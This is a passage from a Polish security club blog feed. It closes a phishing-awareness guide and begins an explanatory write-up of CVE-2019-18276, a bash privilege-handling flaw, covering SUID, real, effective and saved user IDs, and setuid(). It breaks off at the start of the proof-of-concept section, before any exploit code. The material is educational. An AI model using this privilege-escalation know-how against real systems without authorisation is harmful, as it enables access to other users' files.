&lt;p>Bardzo często atakujący będzie chciał zwrócić uwagę ofiary wykorzystując wyskakujące okienka. Zablokować je można np. bezpośrednio w ustawieniach przeglądarki &lt;a href="https://www.wikihow.com/Block-Pop%E2%80%93ups-in-Firefox"target="_blank" rel="noopener">Firefox&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> i &lt;a href="https://support.google.com/chrome/answer/95472"target="_blank" rel="noopener">Chrome&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/p>
&lt;ol start="6">
&lt;li>Nie jesteś pewien? Przeskanuj!&lt;/li>
&lt;/ol>
&lt;p>W internecie znaleźć można wiele serwisów oferujących darmowe usługi skanowania stron internetowych np.: &lt;a href="https://www.virustotal.com/gui/home/url"target="_blank" rel="noopener">Virustotal&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> czy &lt;a href="https://urlscan.io/"target="_blank" rel="noopener">urlscan.io&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;figure class="half">
&lt;a href="./urlscan.png">&lt;img loading="lazy" src="./urlscan.png">&lt;/a>
&lt;a href="./virustotal.png">&lt;img loading="lazy" src="./virustotal.png">&lt;/a>
&lt;figcaption>Przykładowe wyniki skanowania.&lt;/figcaption>
&lt;/figure>
&lt;ol start="7">
&lt;li>Sprawdź poprawność domeny.&lt;/li>
&lt;/ol>
&lt;p>Przyszedł mail i pojawiły się wątpliwości co do jego pochodzenia? Sprawdź, czy domena (wszystko po znaku &lt;code>@&lt;/code>) naprawdę należy do tego, za kogo się podaje. Możesz to zrobić wykorzystując portal &lt;a href="https://www.whois.net/"target="_blank" rel="noopener">whois.net&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> lub jego &lt;a href="https://www.dns.pl/whois"target="_blank" rel="noopener">polski odpowiednik&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. To samo możesz zrobić z domenami, na które jesteś przekierowywany z linków - młode strony powinny wzbudzić podejrzenia.&lt;/p>
&lt;ol start="8">
&lt;li>Sprawdź do kogo wraca mail w odpowiedzi.&lt;/li>
&lt;/ol>
&lt;p>Czasem warto po prostu kliknąć &lt;code>Odpowiedz&lt;/code> i zobaczyć do kogo wraca dany mail. Przestępcy mogą podmienić nagłówki w mailu i dzięki temu zabiegowi co innego wyświetla się jako nadawca, a co innego tak naprawdę znajduje się w tym polu.&lt;/p>
&lt;ol start="9">
&lt;li>Nie wierz w zieloną kłódkę.&lt;/li>
&lt;/ol>
&lt;p>Obecnie utworzenie strony internetowej z poprawnym szyfrowaniem (zielona kłódka lub &lt;code>https&lt;/code> przed adresem) nie jest trudne. Jest to ważny czynnik weryfikujący strony, ale nie powinien być tym głównym, na którym opieramy swój werdykt.&lt;/p>
&lt;ol start="10">
&lt;li>Zweryfikuj czy adres nadawcy pasuje do tego za kogo się podaje.&lt;/li>
&lt;/ol>
&lt;p>Czasem, aby nabrać podejrzeń wystarczy spojrzeć na to, kto się podpisał w mailu i jak wygląda adres, z którego przyszła wiadomość. Banki nigdy nie poproszą o dane i nie będą kazały klikać w linki - zazwyczaj będzie to instrukcja jak coś zrobić.&lt;/p>
&lt;ol start="11">
&lt;li>&lt;em>Dla bardziej zaawansowanych&lt;/em> - sprawdź nagłówki maila.&lt;/li>
&lt;/ol>
&lt;p>Niektóre programy pocztowe umożliwiają podgląd nagłówków wiadomości - dzięki temu można zweryfikować, skąd dany mail przyszedł, dokąd wraca i co tak naprawdę się w nim znajduje.&lt;/p>
&lt;ol start="12">
&lt;li>&lt;em>Dla bardziej zaawansowanych&lt;/em> - sprawdź certyfikaty.&lt;/li>
&lt;/ol>
&lt;p>Może i strona ma zieloną kłódkę, ale co kryje się pod nią? Sprawdź ścieżkę certyfikacji. Zazwyczaj strony phishingowe zawierają certyfikaty self-signed (&lt;strong>ale nie zawsze!&lt;/strong>) np. Let&amp;rsquo;s Encrypt. Przeskanuj domenę na portalu &lt;a href="https://crt.sh/"target="_blank" rel="noopener">crt.sh&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Zweryfikuj od kiedy certyfikat jest ważny - te, które istnieją od niedawna, powinny wzbudzić podejrzenia.&lt;/p>
&lt;ol start="13">
&lt;li>&lt;em>Dla bardziej zaawansowanych&lt;/em> - wykorzystaj znajomość popularnych metod phishingowych.&lt;/li>
&lt;/ol>
&lt;p>W tym artykule opisaliśmy kilka najpopularniejszych metod jakimi posługują się cyberprzestępcy - wykorzystaj to! W cyberświecie trzeba znać swojego wroga. Wiedza na temat tego jak może działać atakujący, pomaga w przeciwdziałaniu jego czynom.&lt;/p>
&lt;h2>Podsumowanie&lt;span class="hx:absolute hx:-mt-20" id="podsumowanie">&lt;/span>
&lt;a href="#podsumowanie" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Phishing jest to coś, z czym na pewno się w życiu spotkaliśmy (nawet nieświadomie) i aby uniknąć przykrych konsekwencji, trzeba wiedzieć jak się z nim obchodzić.&lt;/p>
&lt;p>Nie jesteś pewny swoich umiejętności rozpoznawania phishingu? Sprawdź się w &lt;a href="https://docs.google.com/forms/d/e/1FAIpQLSdxYbP9-mpmEKTNvcVsHgdPpUo4DZGq-oz504BkoUOIFDvUUw/viewform"target="_blank" rel="noopener">naszym teście&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> - nic to nie kosztuje!&lt;/p>
&lt;!-- Jeśli uważasz jednak, że wolisz żeby ktoś inny zweryfikował dodatkowo maila/smsa, którego otrzymałeś, to napisz do nas. Prześlij nam wiadomość do sprawdzenia na adres [kn.whitehats@pwr.edu.pl](mailto:kn.whitehats@pwr.edu.pl), dopisując `[PHISHING TEST]` w temacie, a my odezwiemy się jak najszybciej. --></description></item><item><title>CVE-2019-18276 - SuidBash</title><link>https://whitehats.pwr.edu.pl/blog/2020-04-21-cve-suidbash/</link><pubDate>Tue, 21 Apr 2020 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2020-04-21-cve-suidbash/</guid><description>
&lt;figure>&lt;img src="https://whitehats.pwr.edu.pl/blog/2020-04-21-cve-suidbash/header_hu_84260652e3429ae3.webp" width="1280" height="720" fetchpriority="high">
&lt;/figure>
&lt;p>W tym artykule skupiono się na podatności oznaczonej jako &lt;a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-18276"target="_blank" rel="noopener">&lt;strong>CVE-2019-18276&lt;/strong>&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Była ona ówczesnym 0-day&amp;rsquo;em w powłoce &lt;em>basha&lt;/em> odkrytym przez &lt;strong>Iana Pudney&amp;rsquo;a&lt;/strong>. Błąd &lt;a href="https://www.youtube.com/watch?v=-wGtxJ8opa8"target="_blank" rel="noopener">pojawił się&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> na zawodach Google CTF jako element zadań finałowych.&lt;/p>
&lt;p>Podatność polega na złym zarządzaniu uprawnieniami w powłoce &lt;em>bash&lt;/em>. Powoduje to, że w szczególnych przypadkach możliwe jest korzystanie z niego przy użyciu cudzych uprawnień.
W tym artykule omówiono niektóre mechanizmy systemu Linux konieczne do zrozumienia istoty błędu oraz stojące za nim szczegóły, by w końcowej części artykułu odtworzyć cały atak i wykorzystać podatność celem odczytania pliku, który należy do innego użytkownika.&lt;/p>
&lt;h1>Teoria&lt;/h1>&lt;h2>Flaga &lt;em>Set User Identity (SUID)&lt;/em>&lt;span class="hx:absolute hx:-mt-20" id="flaga-set-user-identity-suid">&lt;/span>
&lt;a href="#flaga-set-user-identity-suid" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Chcąc zmienić hasło użytkownika w systemie Linux, można skorzystać z programu &lt;em>passwd&lt;/em>. Program ten pobiera hasło użytkownika i zapisuje w pliku &lt;em>/etc/shadow&lt;/em> w formie skrótu (np. MD5, SHA-512) . Jednak uruchomienie go z prawami zwykłego użytkownika nie powinno się udać, ponieważ plik &lt;em>/etc/shadow&lt;/em> należy do użytkownika &lt;em>root&lt;/em> oraz do grupy &lt;em>root&lt;/em>.
Co więc sprawia, że można bezproblemowo używać programu &lt;em>passwd&lt;/em> jako zwykły użytkownik i modyfikować plik, który do niego nie należy?&lt;/p>
&lt;p>Odpowiedzialną za taki stan rzeczy jest flaga &lt;em>SUID&lt;/em> (ang. &lt;em>Set User Identification&lt;/em>) i mechanizm z nią powiązany. Powodem jej istnienia jest potrzeba zasygnalizowania, by przy uruchamianiu programu wykorzystać prawa właściciela (a nie aktywnego użytkownika) pliku do jego działania. Dla przykładu, w programie &lt;em>passwd&lt;/em> czy &lt;em>sudo&lt;/em> obecna jest flaga &lt;em>SUID&lt;/em>, która pozwala na jego wykonanie przez użytkownika z uprawnieniami właściciela. O obecności omawianej flagi informuje litera &lt;strong>s&lt;/strong> w listingu uprawnień:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">kali@kali:~$ ls -l /bin/passwd
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">-rwsr-xr-x 1 root root 63960 Feb 7 09:54 /bin/passwd
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">kali@kali:~$ ls -l /bin/sudo
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">-rwsr-xr-x 1 root root 161800 Feb 2 02:07 /bin/sudo
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Aby włączyć tą możliwość i ustawić flagę SUID należy skorzystać z polecenia &lt;em>chmod&lt;/em>:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">kali@kali:~$ chmod o+s &amp;lt;file&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Analogicznie działa bit &lt;em>SGID&lt;/em> (ang. &lt;em>set group identity&lt;/em>), z tą różnicą, że przyznaje uprawnienia grupy, do której należy użytkownik dodający flagę.&lt;/p>
&lt;h3>Identyfikatory użytkowników - czym są &lt;em>uid&lt;/em>, &lt;em>euid&lt;/em> oraz &lt;em>suid&lt;/em>?&lt;span class="hx:absolute hx:-mt-20" id="identyfikatory-użytkowników---czym-są-uid-euid-oraz-suid">&lt;/span>
&lt;a href="#identyfikatory-u%c5%bcytkownik%c3%b3w---czym-s%c4%85-uid-euid-oraz-suid" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Aby zrozumieć w jaki sposób zachodzi sterowanie uprawnieniami, należy wyjaśnić czym jest identyfikator użytkownika i jakie są jego rodzaje:&lt;/p>
&lt;p>&lt;strong>uid&lt;/strong> - numeryczny identyfikator użytkownika (ang. &lt;em>User ID&lt;/em>). Jest on używany w celu identyfikacji użytkownika w systemie oraz np. wewnątrz działających procesów na potrzeby przydzielania uprawnień do ich poszczególnych zasobów.
Informuje on także do jakiej grupy należy użytkownik - dla przykładu, w systemach opartych o architekturę Linux Debian &lt;em>uid&lt;/em> z zakresu &lt;em>[1000-59999]&lt;/em> należą do zwykłych użytkowników, natomiast &lt;em>uid=0&lt;/em> należy do &lt;em>roota&lt;/em> (więcej informacji na temat przydzielania &lt;em>uid&lt;/em> oraz ich zakresów w Debianie można znaleźć &lt;a href="https://www.debian.org/doc/debian-policy/ch-opersys.html#uid-and-gid-classes"target="_blank" rel="noopener">pod tym linkiem&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>)
W kontekście wykonywania programu &lt;em>uid&lt;/em> zapisuje się także dla odróżnienia jako &lt;em>ruid&lt;/em> &lt;em>(Real User ID)&lt;/em>. Zmienna &lt;em>ruid&lt;/em> przyjmuje po prostu wartość &lt;em>uid&lt;/em> użytkownika aktualnie wykonującego program.&lt;/p>
&lt;p>&lt;strong>suid&lt;/strong> - (ang. &lt;em>Saved User ID&lt;/em>) - służy do zapisywania uprawnień przed ich zmianą (gdy program chwilowo zażąda niższych uprawnień). Gdy jednak program będzie chciał wrócić do porzuconych wcześniej uprawnień, pobierze je właśnie ze zmiennej &lt;em>suid&lt;/em>.&lt;/p>
&lt;p>&lt;strong>euid&lt;/strong> - (ang. &lt;em>Effective User ID&lt;/em>) - jest zmienną przechowującą &lt;em>uid&lt;/em> użytkownika będącego właścicielem pliku z ustawioną flagą &lt;em>SUID&lt;/em>.&lt;/p>
&lt;h3>Działanie flagi &lt;em>SUID&lt;/em> w praktyce&lt;span class="hx:absolute hx:-mt-20" id="działanie-flagi-suid-w-praktyce">&lt;/span>
&lt;a href="#dzia%c5%82anie-flagi-suid-w-praktyce" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Po uruchomieniu programu posiadającego ustawiony bit &lt;em>SUID&lt;/em>, dzieją się następujące rzeczy:&lt;/p>
&lt;ol>
&lt;li>UID &lt;strong>użytkownika uruchamiającego program&lt;/strong> zostaje zapisane w zmiennej &lt;em>&lt;strong>suid&lt;/strong>&lt;/em>&lt;/li>
&lt;li>UID &lt;strong>właściciela pliku&lt;/strong> zostaje zapisane w zmiennej &lt;em>&lt;strong>euid&lt;/strong>&lt;/em>&lt;/li>
&lt;li>(r)UID (&lt;em>real user ID&lt;/em>) w momencie uruchomienia programu pozostaje niezmienne (przyjmuje wartość użytkownika uruchamiającego program)&lt;/li>
&lt;li>Program zostaje uruchomiony &lt;strong>z uprawnieniami właściciela (pobranymi ze zmiennej &lt;em>euid&lt;/em>)&lt;/strong>&lt;/li>
&lt;li>Jeżeli program, po wykonaniu części wymagającej uprawnień właściciela, już ich nie potrzebuje - &lt;strong>uprawnienia zostają zmniejszone&lt;/strong> (zasada minimalnych uprawnień). Program &lt;strong>pobiera je wtedy ze zmiennej &lt;em>suid&lt;/em>.&lt;/strong>&lt;/li>
&lt;li>Program dalej wykonuje się z uprawnieniami użytkownika uruchamiającego plik - bez uprawnień właściciela.&lt;/li>
&lt;/ol>
&lt;h2>Wywołanie systemowe &lt;em>setuid()&lt;/em>&lt;span class="hx:absolute hx:-mt-20" id="wywołanie-systemowe-setuid">&lt;/span>
&lt;a href="#wywo%c5%82anie-systemowe-setuid" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Jeżeli uruchamiany plik posiada ustawioną flagę &lt;em>SUID&lt;/em>, to uruchomi się on z uprawnieniami właściciela pliku - wiemy to już z poprzednich akapitów.&lt;/p>
&lt;p>Ale co w sytuacji, kiedy proces porzuci je (ponieważ w danej sytuacji ich już nie potrzebuje), lecz potem zajdzie sytuacja, w której proces będzie z powrotem potrzebować wcześniej porzuconych uprawnień? W systemie Linux, ze względów bezpieczeństwa, proces może tylko i wyłącznie obniżać swoje uprawnienia, więc powinno być to niemożliwe.&lt;/p>
&lt;p>Okazuje się jednak, że istnieje wywołanie systemowe, które to umożliwia, a jest nim &lt;strong>setuid()&lt;/strong>. Powoduje ono przypisanie do &lt;em>(r)uid&lt;/em> wartości &lt;em>euid&lt;/em>. Dzięki niemu, przy obecności flagi &lt;em>SUID&lt;/em>, proces może wrócić do porzuconych wcześniej uprawnień. Jest to jedyny wyjątek, kiedy proces może podwyższyć swoje uprawnienia w trakcie działania procesu.
Jednak dzieje się to tylko w określonych warunkach - szczegółowo opisuje je &lt;a href="http://man7.org/linux/man-pages/man2/setuid.2.html"target="_blank" rel="noopener">dokumentacja&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>:&lt;/p>
&lt;blockquote>
&lt;p>setuid()
sets the effective user ID of the calling process. &lt;strong>If the calling process is privileged&lt;/strong> (more precisely: if the process has the CAP_SETUID capability in its user namespace), &lt;strong>the real UID and saved set-user-ID are also set.&lt;/strong>
[&amp;hellip;]
&lt;strong>If the user is root&lt;/strong> or the program is set-user-ID-root, special care must be taken: &lt;strong>setuid() checks the effective user ID of the caller and if it is the superuser, all process-related user ID&amp;rsquo;s are set to uid. After this has occurred, it is impossible for the program to regain root privileges.&lt;/strong>&lt;/p>
&lt;/blockquote>
&lt;p>Oznacza to, że proces może przywrócić uprawnienia tylko wtedy, gdy poprzednio nie należał do &lt;em>roota&lt;/em> (ponieważ w przeciwnym wypadku wszystkie 3 zmienne - &lt;em>euid&lt;/em>, &lt;em>suid&lt;/em> oraz &lt;em>(r)uid&lt;/em> zostaną nadpisane, a wywołanie nie pozwoli na powrót do uprawnień &lt;em>roota&lt;/em> ).&lt;/p>
&lt;p>W związku z tym, wywołania &lt;em>setuid&lt;/em> można użyć do przywrócenia porzuconych uprawnień tylko wtedy, kiedy plik posiadający ustawioną flagę &lt;em>SUID&lt;/em> &lt;strong>nie należy&lt;/strong> do użytkownika &lt;em>root&lt;/em>.&lt;/p>
&lt;h2>Mechanizm porzucania uprawnień w bashu&lt;span class="hx:absolute hx:-mt-20" id="mechanizm-porzucania-uprawnień-w-bashu">&lt;/span>
&lt;a href="#mechanizm-porzucania-uprawnie%c5%84-w-bashu" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>W &lt;a href="https://linux.die.net/man/1/bash"target="_blank" rel="noopener">dokumentacji powłoki &lt;em>bash&lt;/em>&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> można odnaleźć następujący tekst:&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied&lt;/strong>, no startup files are read, shell functions are not inherited from the environment, the SHELLOPTS, BASHOPTS, CDPATH, and GLOBIGNORE variables, if they appear in the environment, are ignored, and &lt;strong>the effective user id is set to the real user id.&lt;/strong>&lt;/p>
&lt;/blockquote>
&lt;p>Sytuacja, w której &lt;strong>&lt;em>euid&lt;/em> nie jest równe &lt;em>(r)uid&lt;/em>&lt;/strong> może mieć miejsce tylko i wyłącznie wtedy, &lt;strong>gdy w pliku wykonywalnym &lt;em>basha&lt;/em> jednocześnie zostanie włączona flaga SUID oraz gdy zostanie on wykonany przez użytkownika nie będącego właścicielem pliku (pod warunkiem, że właściciel nie jest &lt;em>rootem&lt;/em>).&lt;/strong> Wtedy &lt;em>(r)uid&lt;/em> przyjmuje &lt;em>uid&lt;/em> użytkownika wykonującego program, a &lt;em>euid&lt;/em> przyjmuje wartość &lt;em>uid&lt;/em> właściciela (będą różne od siebie).&lt;/p>
&lt;blockquote>
&lt;p>If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.&lt;/p>
&lt;/blockquote>
&lt;p>Flaga &amp;lsquo;-p&amp;rsquo; jest skrótem od &lt;em>priviliged&lt;/em> i, jak wskazuje dokumentacja, pozwala na uruchomienie powłoki &lt;em>bash&lt;/em> bez zmiany wartości &lt;em>euid&lt;/em>. Spowoduje to, że nie będzie można ich odzyskać, ponieważ &lt;em>euid&lt;/em> będzie równe &lt;em>(r)uid&lt;/em>.&lt;/p>
&lt;p>Jednak rezygnacja z flagi &lt;em>-p&lt;/em> przy jednoczesnej obecności flagi &lt;em>SUID&lt;/em> doprowadzi do interesującej sytuacji. Wartości &lt;em>euid&lt;/em> oraz &lt;em>(r)uid&lt;/em> będą różne i w konsekwencji &lt;em>bash&lt;/em> porzuci uprawnienia zapisując je w zmiennej &lt;em>suid&lt;/em>, a &lt;em>Effective UserID&lt;/em> zmieni na wartość &lt;em>uid&lt;/em> użytkownika, który go uruchomił.&lt;/p>
&lt;h2>Co więc to wszystko daje?&lt;span class="hx:absolute hx:-mt-20" id="co-więc-to-wszystko-daje">&lt;/span>
&lt;a href="#co-wi%c4%99c-to-wszystko-daje" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Jeżeli &lt;em>bash&lt;/em> posiada flagę &lt;em>SUID&lt;/em> i jego właścicielem nie jest &lt;em>root&lt;/em>, to po jego uruchomieniu (bez trybu uprzywilejowanego) komendą:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">kali@kali:~$ bash
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>dojdzie do sytuacji, w której uprawnienia zostaną porzucone, ponieważ &lt;em>uid != euid&lt;/em>.
Jednak jeżeli uda się użyć wywołania systemowego &lt;em>setuid&lt;/em>, to będziemy w stanie odzyskać uprawnienia użytkownika, do którego oryginalnie należy plik.&lt;/p>
&lt;p>Jak więc to zrobić w praktyce?&lt;/p>
&lt;h1>Praktyka (Proof of Concept)&lt;/h1>&lt;p>Najnowsza wersja &lt;em>basha&lt;/em> nie posiada &lt;a href="https://www.exploit-db.com/exploits/47726"target="_blank" rel="noopener">omawianej podatności&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, stąd do przeprowadzenia ataku należy użyć jego starszej wersji. O ile obniżenie wersji powłoki w systemie nie jest raczej zalecane, to pobranie i kompilacja osobnego &lt;em>basha&lt;/em> nie powinna być problematyczna. Źródło &lt;em>basha 4.4&lt;/em> (i wielu innych wersji) można pobrać ze strony &lt;a href="https://ftp.gnu.org/gnu/bash/"target="_blank" rel="noopener">ftp.gnu.org/gnu/bash/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Następnie należy skompilować i zainstalować pobrane pliki:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
